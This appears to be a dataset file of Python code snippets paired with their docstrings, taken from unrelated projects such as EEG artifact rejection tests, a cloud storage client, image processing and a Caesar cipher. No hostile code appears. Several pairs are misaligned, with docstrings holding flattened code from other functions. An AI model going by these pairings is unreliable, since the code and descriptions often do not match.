super(MetricHistoryView, self).get_context_data(**kwargs)# Accept GET query params for ``since``since = self.request.GET.get('since', None)if since and len(since) == 10: # yyyy-mm-ddsince = datetime.strptime(since, \"%Y-%m-%d\")elif since and len(since) == 19: # yyyy-mm-dd HH:MM:sssince = datetime.strptime(since, \"%Y-%m-%d %H:%M:%S\")data.update({'since': since,'slug': kwargs['slug'],'granularity': kwargs['granularity'],'granularities': list(get_r()._granularities()),})return dataclass AggregateFormView(ProtectedFormView):Allow viewing multiple metrics at once. Displays a form for entering"} {"code": "def test_coroutine_iter_pycall(self):\n co = self.lua.eval(lua_code)\n", "nl": "lua_code = \\coroutine.create(function(pyfunc, N)for i=0,N doif pyfunc(i) then coroutine.yield(0) else coroutine.yield(1) endendend)"} {"code": "def getSkintoneMask(self, dilate_iter=0):\n if( self._colorSpace != ColorSpace.YCrCb ):\n YCrCb = self.toYCrCb()\n else:\n YCrCb = self\n\n Y = np.ones((256,1),dtype=uint8)*0\n Y[5:] = 255\n Cr = np.ones((256,1),dtype=uint8)*0\n Cr[140:180] = 255\n Cb = np.ones((256,1),dtype=uint8)*0\n Cb[77:135] = 255\n Y_img = YCrCb.getEmpty(1)\n Cr_img = YCrCb.getEmpty(1)\n Cb_img = YCrCb.getEmpty(1)\n cv.Split(YCrCb.getBitmap(),Y_img,Cr_img,Cb_img,None)\n cv.LUT(Y_img,Y_img,cv.fromarray(Y))\n cv.LUT(Cr_img,Cr_img,cv.fromarray(Cr))\n cv.LUT(Cb_img,Cb_img,cv.fromarray(Cb))\n temp = self.getEmpty()\n cv.Merge(Y_img,Cr_img,Cb_img,None,temp)\n mask=Image(temp,colorSpace = ColorSpace.YCrCb)\n mask = mask.binarize((128,128,128))\n mask = mask.toRGB().binarize()\n mask.dilate(dilate_iter)\n return mask\n", "nl": "**SUMMARY**Find Skintone mask will look for continuousregions of Skintone in a color image and return a binary mask where the white pixels denote Skintone region.**PARAMETERS*** *dilate_iter* - the number of times to run the dilation operation.**RETURNS**Returns a binary mask.**EXAMPLE**>>> img = Image(\"lenna\")>>> mask = img.findSkintoneMask()>>> mask.show()"} {"code": "def Get(self, request, global_params=None, download=None):\n config = self.GetMethodConfig('Get')\n return self._RunMethod(\n config, request, global_params=global_params,\n download=download)\n\n Get.method_config = lambda: base_api.ApiMethodInfo(\n http_method=u'GET',\n method_id=u'storage.objects.get',\n ordered_params=[u'bucket', u'object'],\n path_params=[u'bucket', u'object'],\n query_params=[u'generation', u'ifGenerationMatch', u'ifGenerationNotMatch', u'ifMetagenerationMatch', u'ifMetagenerationNotMatch', u'projection'],\n relative_path=u'b/{bucket}/o/{object}',\n request_field='',\n request_type_name=u'StorageObjectsGetRequest',\n response_type_name=u'Object',\n supports_download=True,\n )\n", "nl": "rRetrieves an object or its metadata.Args:request: (StorageObjectsGetRequest) input messageglobal_params: (StandardQueryParameters, default: None) global argumentsdownload: (Download, default: None) If present, downloaddata from the request via this stream.Returns:(Object) The response message."} {"code": "def applyShift(text, shift):\n return applyCoder(text,buildCoder(shift))\n", "nl": "Given a text, returns a new text Caesar shifted by the given shiftoffset. Lower case letters should remain lower case, upper caseletters should remain upper case, and all other punctuation shouldstay as it is.text: string to apply the shift toshift: amount to shift the text (0 <= int < 26)returns: text after being shifted by specified amount."} {"code": "def unsuppress(self):\n self.post(\"suppress\", expiration=\"0\")\n return self\n\n\nclass SavedSearches(Collection):\n \"\"\"This class represents a collection of saved searches. Retrieve this", "nl": "Cancels suppression and makes this search run as scheduled.:return: The :class:`SavedSearch`."} {"code": "def testSMTPGreetingHost(self, serverClass=smtp.SMTP):\n s = serverClass()\n s.host = \"example.com\"\n t = StringTransport()\n s.makeConnection(t)\n s.connectionLost(error.ConnectionDone())\n self.assertIn(\"example.com\", t.value())\n\n", "nl": "Test that the specified hostname shows up in the SMTP server'sgreeting."} {"code": "def test_global_autoreject():\n event_id = None\n tmin, tmax = -0.2, 0.5\n events = mne.find_events(raw)\n\n include = [u'EEG %03d' % i for i in range(1, 45, 3)]\n picks = mne.pick_types(raw.info, meg=False, eeg=False, stim=False,\n eog=True, include=include, exclude=[])\n epochs = mne.Epochs(raw, events, event_id, tmin, tmax,\n picks=picks, baseline=(None, 0), decim=10,\n reject=None, preload=False)[:10]\n\n ar = _AutoReject()\n pytest.raises(ValueError, ar.fit, epochs)\n epochs.load_data()\n\n ar.fit(epochs)\n assert len(ar.picks_) == len(picks) - 1\n\n epochs = mne.Epochs(raw, events, event_id, tmin, tmax,\n baseline=(None, 0), decim=10,\n reject=None, preload=True)[:20]\n pre_picks = mne.pick_types(epochs.info, meg=True, eeg=True)\n pre_picks = np.r_[\n mne.pick_types(epochs.info, meg='mag', eeg=False)[::15],\n mne.pick_types(epochs.info, meg='grad', eeg=False)[::60],\n mne.pick_types(epochs.info, meg=False, eeg=True)[::16],\n mne.pick_types(epochs.info, meg=False, eeg=False, eog=True)]\n pick_ch_names = [epochs.ch_names[pp] for pp in pre_picks]\n bad_ch_names = [epochs.ch_names[ix] for ix in range(len(epochs.ch_names))\n if ix not in pre_picks]\n epochs_with_bads = epochs.copy()\n epochs_with_bads.info['bads'] = bad_ch_names\n epochs.pick_channels(pick_ch_names)\n\n epochs_fit = epochs[:12]\n epochs_new = epochs[12:]\n epochs_with_bads_fit = epochs_with_bads[:12]\n\n X = epochs_fit.get_data()\n n_epochs, n_channels, n_times = X.shape\n X = X.reshape(n_epochs, -1)\n\n ar = _GlobalAutoReject()\n pytest.raises(ValueError, ar.fit, X)\n ar = _GlobalAutoReject(n_channels=n_channels)\n pytest.raises(ValueError, ar.fit, X)\n ar = _GlobalAutoReject(n_times=n_times)\n pytest.raises(ValueError, ar.fit, X)\n ar_global = _GlobalAutoReject(\n n_channels=n_channels, n_times=n_times, thresh=40e-6)\n ar_global.fit(X)\n\n param_range = np.linspace(40e-6, 200e-6, 10)\n\n train_scores, test_scores = \\\n validation_curve(epochs_fit, param_range=param_range)\n assert len(train_scores) == len(test_scores)\n\n train_scores, test_scores, param_range = \\\n validation_curve(epochs_fit, return_param_range=True)\n assert len(train_scores) == len(test_scores) == len(param_range)\n\n pytest.raises(ValueError, validation_curve, X, param_range=param_range)\n\n\n picks = mne.pick_types(\n epochs.info, meg='mag', eeg=True, stim=False, eog=False,\n include=[], exclude=[])\n non_picks = mne.pick_types(\n epochs.info, meg='grad', eeg=False, stim=False, eog=False,\n include=[], exclude=[])\n ch_types = ['mag', 'eeg']\n\n ar = _AutoReject(picks=picks)\n\n ar = AutoReject(cv=3, picks=picks, random_state=42,\n n_interpolate=[1, 2], consensus=[0.5, 1])\n pytest.raises(AttributeError, ar.fit, X)\n pytest.raises(ValueError, ar.transform, X)\n pytest.raises(ValueError, ar.transform, epochs)\n epochs_nochs = epochs_fit.copy()\n epochs_nochs.info['chs'][1]['loc'][:] = np.nan\n pytest.raises(RuntimeError, ar.fit, epochs_nochs)\n for ch in epochs_nochs.info['chs']:\n ch['loc'] = np.zeros_like(ch['loc'])\n pytest.raises(RuntimeError, ar.fit, epochs_nochs)\n ar2 = AutoReject(cv=3, picks=picks, random_state=42,\n n_interpolate=[1, 2], consensus=[0.5, 1],\n verbose='blah')\n pytest.raises(ValueError, ar2.fit, epochs_fit)\n\n ar.fit(epochs_fit)\n reject_log = ar.get_reject_log(epochs_fit)\n for ch_type in ch_types:\n assert ar.n_interpolate_[ch_type] in ar.n_interpolate\n assert ar.consensus_[ch_type] in ar.consensus\n\n assert (ar.n_interpolate_[ch_type] ==\n ar.local_reject_[ch_type].n_interpolate_[ch_type])\n assert (ar.consensus_[ch_type] ==\n ar.local_reject_[ch_type].consensus_[ch_type])\n\n assert_array_equal(len(reject_log.bad_epochs), len(epochs_fit))\n\n epochs_clean = ar.transform(epochs_fit)\n assert repr(ar)\n assert repr(ar.local_reject_)\n reject_log2 = ar.get_reject_log(epochs_fit)\n assert_array_equal(reject_log.labels, reject_log2.labels)\n assert_array_equal(reject_log.bad_epochs, reject_log2.bad_epochs)\n assert_array_equal(reject_log.ch_names, reject_log2.ch_names)\n\n epochs_new_clean = ar.transform(epochs_new)\n\n reject_log_new = ar.get_reject_log(epochs_new)\n assert_array_equal(len(reject_log_new.bad_epochs), len(epochs_new))\n\n assert len(reject_log_new.bad_epochs) != len(reject_log.bad_epochs)\n\n picks_by_type = _get_picks_by_type(epochs.info, ar.picks)\n assert np.isnan(reject_log_new.labels[:, non_picks]).sum() > 0\n assert np.isnan(reject_log_new.labels[:, picks]).sum() == 0\n assert (reject_log_new.labels.shape ==\n (len(epochs_new), len(epochs_new.ch_names)))\n\n for ch_type, this_picks in picks_by_type:\n interp_counts = np.sum(\n reject_log_new.labels[:, this_picks] == 2, axis=1)\n labels = reject_log_new.labels.copy()\n not_this_picks = np.setdiff1d(np.arange(labels.shape[1]), this_picks)\n labels[:, not_this_picks] = np.nan\n interp_channels = _get_interp_chs(\n labels, reject_log.ch_names, this_picks)\n assert_array_equal(\n interp_counts, [len(cc) for cc in interp_channels])\n\n is_same = epochs_new_clean.get_data() == epochs_new.get_data()\n if not np.isscalar(is_same):\n is_same = np.isscalar(is_same)\n assert not is_same\n\n reject_log1 = ar.get_reject_log(epochs)\n assert reject_log1.bad_epochs.sum() > 0\n reject_log1.bad_epochs[:] = False\n epochs_nobad = ar.transform(epochs, reject_log=reject_log1)\n assert len(epochs_nobad) == len(epochs)\n pytest.raises(ValueError, ar.transform, epochs, reject_log='blah')\n\n epochs_with_bads_fit.pick_types(meg='mag', eeg=True, eog=True, exclude=[])\n ar_bads = AutoReject(cv=3, random_state=42,\n n_interpolate=[1, 2], consensus=[0.5, 1])\n ar_bads.fit(epochs_with_bads_fit)\n epochs_with_bads_clean = ar_bads.transform(epochs_with_bads_fit)\n\n good_w_bads_ix = mne.pick_types(epochs_with_bads_clean.info,\n meg='mag', eeg=True, eog=True,\n exclude='bads')\n good_wo_bads_ix = mne.pick_types(epochs_clean.info,\n meg='mag', eeg=True, eog=True,\n exclude='bads')\n assert_array_equal(epochs_with_bads_clean.get_data()[:, good_w_bads_ix, :],\n epochs_clean.get_data()[:, good_wo_bads_ix, :])\n\n bad_ix = [epochs_with_bads_clean.ch_names.index(ch)\n for ch in epochs_with_bads_clean.info['bads']]\n epo_ix = ~ar_bads.get_reject_log(epochs_with_bads_fit).bad_epochs\n assert_array_equal(\n epochs_with_bads_clean.get_data()[:, bad_ix, :],\n epochs_with_bads_fit.get_data()[epo_ix, :, :][:, bad_ix, :])\n\n assert epochs_clean.ch_names == epochs_fit.ch_names\n\n assert isinstance(ar.threshes_, dict)\n assert len(ar.picks) == len(picks)\n assert len(ar.threshes_.keys()) == len(ar.picks)\n pick_eog = mne.pick_types(epochs.info, meg=False, eeg=False, eog=True)[0]\n assert epochs.ch_names[pick_eog] not in ar.threshes_.keys()\n pytest.raises(\n IndexError, ar.transform,\n epochs.copy().pick_channels(\n [epochs.ch_names[pp] for pp in picks[:3]]))\n\n epochs.load_data()\n pytest.raises(ValueError, compute_thresholds, epochs, 'dfdfdf')\n index, ch_names = zip(*[(ii, epochs_fit.ch_names[pp])\n for ii, pp in enumerate(picks)])\n threshes_a = compute_thresholds(\n epochs_fit, picks=picks, method='random_search')\n assert set(threshes_a.keys()) == set(ch_names)\n threshes_b = compute_thresholds(\n epochs_fit, picks=picks, method='bayesian_optimization')\n assert set(threshes_b.keys()) == set(ch_names)\n\n", "nl": "Test global autoreject.event_id = Nonetmin, tmax = -0.2, 0.5events = mne.find_events(raw)picks = mne.pick_types(raw.info, meg=True, eeg=True, stim=False,eog=True, exclude=[])# raise error if preload is falseepochs = mne.Epochs(raw, events, event_id, tmin, tmax,picks=picks, baseline=(None, 0),reject=None, preload=False)# Test get_rejection_thresholds.reject1 = get_rejection_threshold(epochs, decim=1, random_state=42)reject2 = get_rejection_threshold(epochs, decim=1, random_state=42)reject3 = get_rejection_threshold(epochs, decim=2, random_state=42)tols = dict(eeg=5e-6, eog=5e-6, grad=10e-12, mag=5e-15)if platform.system().lower().startswith(\"win\"): # pragma: no cover# XXX: When testing on Windows, the precision seemed to be lower. Why?tols = dict(eeg=9e-5, eog=9e-5, grad=10e-12, mag=5e-15)assert reject1, isinstance(reject1, dict)for key, value in list(reject1.items()):assert reject1[key] == reject2[key]assert abs(reject1[key] - reject3[key]) < tols[key]reject = get_rejection_threshold(epochs, decim=4, ch_types='eeg')assert 'eog' not in rejectassert 'eeg' in rejectpytest.raises(ValueError, get_rejection_threshold, epochs,decim=4, ch_types=5)def test_autoreject():Test basic _AutoReject functionality."} {"code": "def _norm_checksum(self, checksum, relaxed=False):", "nl": "validates checksum keyword against class requirements,returns normalized version of checksum."} {"code": "def sanitize_downloads(self, logger):\n from obspy.io.mseed.util import get_start_and_end_time\n for id in self.miss_station_information.keys():\n logger.warning(\"Station information could not be downloaded for \"\n \"%s.%s.%s.%s. MiniSEED files outside of the \"\n \"station information period \"\n \"will be deleted!\" % (\n self.network, self.station, id[0], id[1]))\n channel = [_i for _i in self.channels if\n (_i.location, _i.channel) == id][0]\n for time_interval in channel.intervals:\n if not time_interval.filename or \\\n not os.path.isfile(time_interval.filename):\n continue\n time_interval.start, time_interval.end = \\\n get_start_and_end_time(time_interval.filename)\n if time_interval.status == STATUS.DOWNLOADED:\n miss_start, miss_end = self.miss_station_information[id]\n if miss_start <= time_interval.start <= miss_end and \\\n miss_start <= time_interval.end <= miss_end:\n utils.safe_delete(time_interval.filename)\n time_interval.status = STATUS.DOWNLOAD_REJECTED\n\n\nclass Channel(_SlotsEqualityComparisionObject):\n \"\"\"\n __slots__ = [\"location\", \"channel\", \"intervals\"]\n", "nl": "Should be run after the MiniSEED and StationXML downloads finished.It will make sure that every MiniSEED file also has a correspondingStationXML file.It will delete MiniSEED files but never a StationXML file. The logicof the download helpers does not allow for a StationXML file with nodata."} {"code": "def stub_wrappers(self):\n self.view._after_calls['index'] = []\n\n @classmethod", "nl": " Remove default 'index' after call wrappers and add onlythose needed for aggregation results output."} {"code": "def tearDown(self):\n sys.modules.clear()\n sys.modules.update(self.originalModules)\n sys.path[:] = self.originalPath\n reload(plugins)\n\n\n\nclass ExampleJavaScriptTestCase(JavaScriptTestCase):\n \"\"\"", "nl": "Remove the example directory from the path and remove all modules loaded bythe test from sys.modules."} {"code": "def digest(self):\n\n self._digest_done = True\n\n bfr = create_string_buffer(self.digest_size)\n result = _raw_keccak_lib.keccak_digest(self._state.get(),\n bfr,\n c_size_t(self.digest_size))\n if result:\n raise ValueError(\"Error %d while instantiating SHA-3/256\"\n % result)\n\n self._digest_value = get_raw_buffer(bfr)\n return self._digest_value\n", "nl": "Return the **binary** (non-printable) digest of the message that has been hashed so far.You cannot update the hash anymore after the first call to ``digest``(or ``hexdigest``).:Return: A byte string of `digest_size` bytes. It may contain non-ASCIIcharacters, including null bytes."} {"code": "def is_already_imported( person, adm_appl_nbr ):\n grads = GradStudent.objects.filter( person=person )\n for grad in grads:\n if 'adm_appl_nbr' in grad.config and grad.config['adm_appl_nbr'] == adm_appl_nbr:\n return True\n return False\n", "nl": "Check if there is a GradStudent record for this person containingthe identifying adm_appl_nbr."} {"code": "def key_setup(self, local_path, vault=\"keys\", sig=None, enc=None):\n self.jwks_uri = key_export(\n self.baseurl,\n local_path,\n vault,\n self.keyjar,\n fqdn=self.hostname,\n sig=sig,\n enc=enc,\n )\n", "nl": "Prepare keys for presentation.:param local_path: The path to where the JWKs should be stored:param vault: Where the private key will be stored:param sig: Key for signature:param enc: Key for encryption:return: A URL the RP can use to download the key."} {"code": "def CalculateBalaban(mol):\n adjMat = Chem.GetAdjacencyMatrix(mol)\n Distance = Chem.GetDistanceMatrix(mol)\n Nbond = mol.GetNumBonds()\n Natom = mol.GetNumAtoms()\n S = numpy.sum(Distance, axis=1)\n mu = Nbond - Natom + 1\n sumk = 0.0\n for i in range(len(Distance)):\n si = S[i]\n for j in range(i, len(Distance)):\n if adjMat[i, j] == 1:\n sumk += 1.0 / numpy.sqrt(si * S[j])\n if mu + 1 != 0:\n J = float(Nbond) / float(mu + 1) * sumk\n else:\n J = 0\n return J\n\n", "nl": "#################################################################Calculation of Balaban index in a molecule---->JUsage:result=CalculateBalaban(mol)Input: mol is a molecule objectOutput: result is a numeric value#################################################################"} {"code": "def refund_control_render(self, request: HttpRequest, refund: OrderRefund) -> str:\n return ''\n", "nl": "Will be called if the *event administrator* views the details of a refund.It should return HTML code containing information regarding the current refundstatus and, if applicable, next steps.The default implementation returns an empty string.:param refund: The refund object"} {"code": "def p_enamldef_impl2(self, p):\n doc, body = p[9]", "nl": " enamldef_impl : ENAMLDEF NAME LPAR NAME RPAR COLON enamldef_simple_item body = [_f for _f in [p[7]] if _f]enamldef = enaml_ast.EnamlDef(typename=p[2], base=p[4], body=body, lineno=p.lineno(1))self._validate_enamldef(enamldef, p.lexer.lexer)p[0] = enamldefdef p_enamldef_impl3(self, p): enamldef_impl : ENAMLDEF NAME LPAR NAME RPAR COLON NAME COLON enamldef_suite "} {"code": "def dead(self) -> bool:\n raise NotImplementedError\n\n @property", "nl": "Describes if the episode has terminated.raise NotImplementedError@propertydef terminal(self) -> bool:Describes if the episode has terminated."} {"code": "def test_eigen_ref_mutators():\n\n m.reset_refs()\n\n zc = m.get_cm_ref()\n zcro = m.get_cm_const_ref()\n zr = m.get_rm_ref()\n zrro = m.get_rm_const_ref()\n\n assert [zc[1, 2], zcro[1, 2], zr[1, 2], zrro[1, 2]] == [23] * 4\n\n assert not zc.flags.owndata and zc.flags.writeable\n assert not zr.flags.owndata and zr.flags.writeable\n assert not zcro.flags.owndata and not zcro.flags.writeable\n assert not zrro.flags.owndata and not zrro.flags.writeable\n\n zc[1, 2] = 99\n expect = np.array([[11., 12, 13], [21, 22, 99], [31, 32, 33]])\n assert np.all(zc == expect)\n assert np.all(zcro == expect)\n assert np.all(m.get_cm_ref() == expect)\n\n zr[1, 2] = 99\n assert np.all(zr == expect)\n assert np.all(zrro == expect)\n assert np.all(m.get_rm_ref() == expect)\n\n with pytest.raises(ValueError):\n zcro[1, 2] = 6\n with pytest.raises(ValueError):\n zrro[1, 2] = 6\n\n y1 = np.array(m.get_cm_const_ref())\n\n assert y1.flags.owndata and y1.flags.writeable\n assert y1[1, 2] == 99\n y1[1, 2] += 12\n assert y1[1, 2] == 111\n assert zc[1, 2] == 99\n\n", "nl": "Tests Eigen's ability to mutate numpy valuesorig = np.array([[1., 2, 3], [4, 5, 6], [7, 8, 9]])zr = np.array(orig)zc = np.array(orig, order='F')m.add_rm(zr, 1, 0, 100)assert np.all(zr == np.array([[1., 2, 3], [104, 5, 6], [7, 8, 9]]))m.add_cm(zc, 1, 0, 200)assert np.all(zc == np.array([[1., 2, 3], [204, 5, 6], [7, 8, 9]]))m.add_any(zr, 1, 0, 20)assert np.all(zr == np.array([[1., 2, 3], [124, 5, 6], [7, 8, 9]]))m.add_any(zc, 1, 0, 10)assert np.all(zc == np.array([[1., 2, 3], [214, 5, 6], [7, 8, 9]]))# Can't reference a col-major array with a row-major Ref, and vice versa:with pytest.raises(TypeError):m.add_rm(zc, 1, 0, 1)with pytest.raises(TypeError):m.add_cm(zr, 1, 0, 1)# Overloads:m.add1(zr, 1, 0, -100)m.add2(zr, 1, 0, -20)assert np.all(zr == orig)m.add1(zc, 1, 0, -200)m.add2(zc, 1, 0, -10)assert np.all(zc == orig)# a non-contiguous slice (this won't work on either the row- or# column-contiguous refs, but should work for the any)cornersr = zr[0::2, 0::2]cornersc = zc[0::2, 0::2]assert np.all(cornersr == np.array([[1., 3], [7, 9]]))assert np.all(cornersc == np.array([[1., 3], [7, 9]]))with pytest.raises(TypeError):m.add_rm(cornersr, 0, 1, 25)with pytest.raises(TypeError):m.add_cm(cornersr, 0, 1, 25)with pytest.raises(TypeError):m.add_rm(cornersc, 0, 1, 25)with pytest.raises(TypeError):m.add_cm(cornersc, 0, 1, 25)m.add_any(cornersr, 0, 1, 25)m.add_any(cornersc, 0, 1, 44)assert np.all(zr == np.array([[1., 2, 28], [4, 5, 6], [7, 8, 9]]))assert np.all(zc == np.array([[1., 2, 47], [4, 5, 6], [7, 8, 9]]))# You shouldn't be allowed to pass a non-writeable array to a mutating Eigen method:zro = zr[0:4, 0:4]zro.flags.writeable = Falsewith pytest.raises(TypeError):m.add_rm(zro, 0, 0, 0)with pytest.raises(TypeError):m.add_any(zro, 0, 0, 0)with pytest.raises(TypeError):m.add1(zro, 0, 0, 0)with pytest.raises(TypeError):m.add2(zro, 0, 0, 0)# integer array shouldn't be passable to a double-matrix-accepting mutating func:zi = np.array([[1, 2], [3, 4]])with pytest.raises(TypeError):m.add_rm(zi)def test_numpy_ref_mutators():Tests numpy mutating Eigen matrices (for returned Eigen::Ref<...>s)"} {"code": "def sample_rois_for_rcnn(self, batch_dict):\n batch_size = batch_dict['batch_size']\n rois = batch_dict['rois']\n roi_scores = batch_dict['roi_scores']\n roi_labels = batch_dict['roi_labels']\n gt_boxes = batch_dict['gt_boxes']\n\n code_size = rois.shape[-1]\n batch_rois = rois.new_zeros(batch_size, self.roi_sampler_cfg.ROI_PER_IMAGE, code_size)\n batch_gt_of_rois = rois.new_zeros(batch_size, self.roi_sampler_cfg.ROI_PER_IMAGE, code_size + 1)\n batch_roi_ious = rois.new_zeros(batch_size, self.roi_sampler_cfg.ROI_PER_IMAGE)\n batch_roi_scores = rois.new_zeros(batch_size, self.roi_sampler_cfg.ROI_PER_IMAGE)\n batch_roi_labels = rois.new_zeros((batch_size, self.roi_sampler_cfg.ROI_PER_IMAGE), dtype=torch.long)\n\n for index in range(batch_size):\n cur_roi, cur_gt, cur_roi_labels, cur_roi_scores = \\\n rois[index], gt_boxes[index], roi_labels[index], roi_scores[index]\n k = cur_gt.__len__() - 1\n while k > 0 and cur_gt[k].sum() == 0:\n k -= 1\n cur_gt = cur_gt[:k + 1]\n cur_gt = cur_gt.new_zeros((1, cur_gt.shape[1])) if len(cur_gt) == 0 else cur_gt\n\n if self.roi_sampler_cfg.get('SAMPLE_ROI_BY_EACH_CLASS', False):\n max_overlaps, gt_assignment = self.get_max_iou_with_same_class(\n rois=cur_roi[:, 0:7], roi_labels=cur_roi_labels,\n gt_boxes=cur_gt[:, 0:7], gt_labels=cur_gt[:, -1].long()\n )\n else:\n iou3d = iou3d_nms_utils.boxes_iou3d_gpu(cur_roi[:, 0:7], cur_gt[:, 0:7])\n max_overlaps, gt_assignment = torch.max(iou3d, dim=1)\n\n sampled_inds = self.subsample_rois(max_overlaps=max_overlaps)\n\n batch_rois[index] = cur_roi[sampled_inds]\n batch_roi_labels[index] = cur_roi_labels[sampled_inds]\n batch_roi_ious[index] = max_overlaps[sampled_inds]\n batch_roi_scores[index] = cur_roi_scores[sampled_inds]\n batch_gt_of_rois[index] = cur_gt[gt_assignment[sampled_inds]]\n\n return batch_rois, batch_gt_of_rois, batch_roi_ious, batch_roi_scores, batch_roi_labels\n", "nl": "Args:batch_dict:batch_size:rois: (B, num_rois, 7 + C)roi_scores: (B, num_rois)gt_boxes: (B, N, 7 + C + 1)roi_labels: (B, num_rois)Returns:"} {"code": "def get_encoder_temporal(cfg, device, dataset=None, c_dim=0, z_dim=0):\n encoder_temporal = cfg['model']['encoder_temporal']\n encoder_temporal_kwargs = cfg['model']['encoder_temporal_kwargs']\n\n if encoder_temporal:\n if encoder_temporal == 'idx':\n if cfg['model']['learn_embedding']:\n encoder_temporal = nn.Sequential(\n nn.Embedding(len(dataset), 128),\n nn.Linear(128, c_dim)).to(device)\n else:\n encoder_temporal = nn.Embedding(len(dataset), c_dim).to(device)\n else:\n encoder_temporal = encoder_temporal_dict[encoder_temporal](\n c_dim=c_dim, **encoder_temporal_kwargs).to(device)\n else:\n encoder_temporal = None\n\n return encoder_temporal\n\n", "nl": " Returns a temporal encoder instance.Args:cfg (yaml config): yaml config objectdevice (device): PyTorch devicec_dim (int): dimension of conditioned code cz_dim (int): dimension of latent code z"} {"code": "def efficientnet_lite3(pretrained=False, **kwargs):\n model = _gen_efficientnet_lite(\n 'efficientnet_lite4', channel_multiplier=1.4, depth_multiplier=1.8, pretrained=pretrained, **kwargs)\n return model\n\n", "nl": " EfficientNet-Lite3 model = _gen_efficientnet_lite('efficientnet_lite3', channel_multiplier=1.2, depth_multiplier=1.4, pretrained=pretrained, **kwargs)return modeldef efficientnet_lite4(pretrained=False, **kwargs): EfficientNet-Lite4 "} {"code": "def next_plus(self, a):\n return a.next_plus(context=self)\n", "nl": "Returns the smallest representable number larger than a.>>> c = ExtendedContext.copy()>>> c.Emin = -999>>> c.Emax = 999>>> ExtendedContext.next_plus(Decimal('1'))Decimal(\"1.00000001\")>>> c.next_plus(Decimal('-1E-1007'))Decimal(\"-0E-1007\")>>> ExtendedContext.next_plus(Decimal('-1.00000003'))Decimal(\"-1.00000002\")>>> c.next_plus(Decimal('-Infinity'))Decimal(\"-9.99999999E+999\")"} {"code": "def get_template(self, template_name):\n context = context or {}\n tmpl = self.get_template(template_name)\n return tmpl. \\\n generate(**context). \\\n render(self.output_type, encoding=None)", "nl": "Get the template which is at the given nametry:return self.loader.load(template_name, encoding=self.encoding)except self.not_found_exception, e:# catch the exception raised by Genshi, convert it into a werkzeug# exception (for the sake of consistency)raise TemplateNotFound(template_name)def render_to_string(self, template_name, context=None):Load and render a template into an unicode string"} {"code": "def resnet34_2d3d_full(**kwargs):\n model = ResNet2d3d_full([Bottleneck2d, Bottleneck2d, Bottleneck3d, Bottleneck3d],\n [3, 4, 6, 3], **kwargs)\n return model\n", "nl": "Constructs a ResNet-34 model. model = ResNet2d3d_full([BasicBlock2d, BasicBlock2d, BasicBlock3d, BasicBlock3d],[3, 4, 6, 3], **kwargs)return modeldef resnet50_2d3d_full(**kwargs):Constructs a ResNet-50 model. "} {"code": "def tokenize(self, text, never_split=None):\n never_split = self.never_split + (never_split if never_split is not None else [])\n text = self._clean_text(text)\n if self.tokenize_chinese_chars:\n text = self._tokenize_chinese_chars(text)\n orig_tokens = whitespace_tokenize(text)\n split_tokens = []\n for token in orig_tokens:\n if self.do_lower_case and token not in never_split:\n token = token.lower()\n token = self._run_strip_accents(token)\n split_tokens.extend(self._run_split_on_punc(token))\n\n output_tokens = whitespace_tokenize(\" \".join(split_tokens))\n return output_tokens\n", "nl": " Basic Tokenization of a piece of text.Split on \"white spaces\" only, for sub-word tokenization, see WordPieceTokenizer.Args:**never_split**: (`optional`) list of strKept for backward compatibility purposes.Now implemented directly at the base class level (see :func:`PreTrainedTokenizer.tokenize`)List of token not to split."} {"code": "def redirect_stdout(stdout):\n", "nl": "Fallback function for python2 compatibility.return stdout# Third party importsfrom pweave import Pweb, __version__ as pweave_versionfrom qtpy import PYQT4, PYSIDEfrom qtpy.compat import getsavefilename, getexistingdirectoryfrom qtpy.QtCore import Qt, Signalfrom qtpy.QtWidgets import QVBoxLayout, QMessageBox# Spyder-IDE and Local importsfrom spyder.py3compat import to_text_stringfrom spyder.utils.programs import TEMPDIRfrom spyder.utils.qthelpers import create_actionfrom spyder.utils.workers import WorkerManagerfrom spyder.utils import icon_manager as imafrom .widgets.reportsgui import ReportsWidgetfrom .utils import WELCOME_PATHtry:from spyder.api.plugins import SpyderPluginWidgetexcept ImportError:from spyder.plugins import SpyderPluginWidget # Spyder 3 compatibilityREPORTS_TEMPDIR = osp.join(TEMPDIR, 'reports')class CaptureStdOutput(StringIO):Captures IO stream and emit a signal."} {"code": "def test_network_json_to_stix_negative():\n result_bundle = json_to_stix_translator.convert_to_stix(\n data_source, map_data, [DATA2], get_module_transformers(MODULE), options)\n result_bundle_objects = result_bundle['objects']\n\n result_bundle_identity = result_bundle_objects[0]\n assert result_bundle_identity['type'] == data_source['type']\n\n observed_data = result_bundle_objects[1]\n\n assert 'objects' in observed_data\n objects = observed_data['objects']\n\n network_obj = TestAzureSentinelResultsToStix.get_first_of_type(objects.values(), 'file')\n assert network_obj is None\n\n @staticmethod", "nl": "to test negative test case for stix object"} {"code": "def id_on_network(self):\n separator = self._network.id_separator\n return \"%0.8x%s%s%s%0.2x%s%s%s%s\" % (self._network.home_id, \\\n separator, self.parent_id, \\\n separator, self.command_class, \\\n separator, self.instance, \\\n separator, self.index)\n\n @property", "nl": "Get an unique id for this value.The scenes use this to retrieve values.. code-block:: xml54The format is :home_id.node_id.command_class.instance.index"} {"code": "def _is_predator_testcase(testcase):\n if build_manager.is_custom_binary():\n return False, 'Not applicable to custom binaries.'\n\n if testcase.regression != 'NA':\n if not testcase.regression:\n return False, 'No regression range, wait for regression task to finish.'\n\n if ':' not in testcase.regression:\n return False, 'Invalid regression range %s.' % testcase.regression\n\n return True, None\n\n", "nl": "Return bool and error message for whether this testcase is applicable topredator or not."} {"code": "def create_child(self, **kwargs):\n if self._requires_pty():\n return mitogen.parent.hybrid_tty_create_child(**kwargs)\n else:\n return mitogen.parent.create_child(stderr_pipe=True, **kwargs)\n", "nl": "Avoid PTY use when possible to avoid a scaling limitation."} {"code": "def base_health(self):\n return max(1, self.size // 2)\n\n @property", "nl": "Returns the unscaled maximum health of this gear.return self.sizedef get_thrust(self, move_mode):if move_mode is scenes.movement.Walking:return (self.size * 1250 * self.current_health + self.max_health - 1) // self.max_healthelse:return 0def get_melee_damage_bonus(self):return max(self.size//2, 1)class Overchargers(MovementSystem, StandardDamageHandler):DEFAULT_NAME = \"Overchargers\"MOVESYS_COST = 250@propertydef base_health(self):Returns the unscaled maximum health of this gear."} {"code": "def modify_puzzle_menu(self, camp, thing, thingmenu):\n return list()\n", "nl": "Modify the thingmenu based on this plot.# Method [ELEMENTID]_menu will be called with the camp, menu as parameters.# This method should modify the menu as needed- typically by altering# the \"desc\" property (menu caption) and adding menu items.thing_ids = self.get_element_idents(thing)for i in thing_ids:ogen = getattr(self, 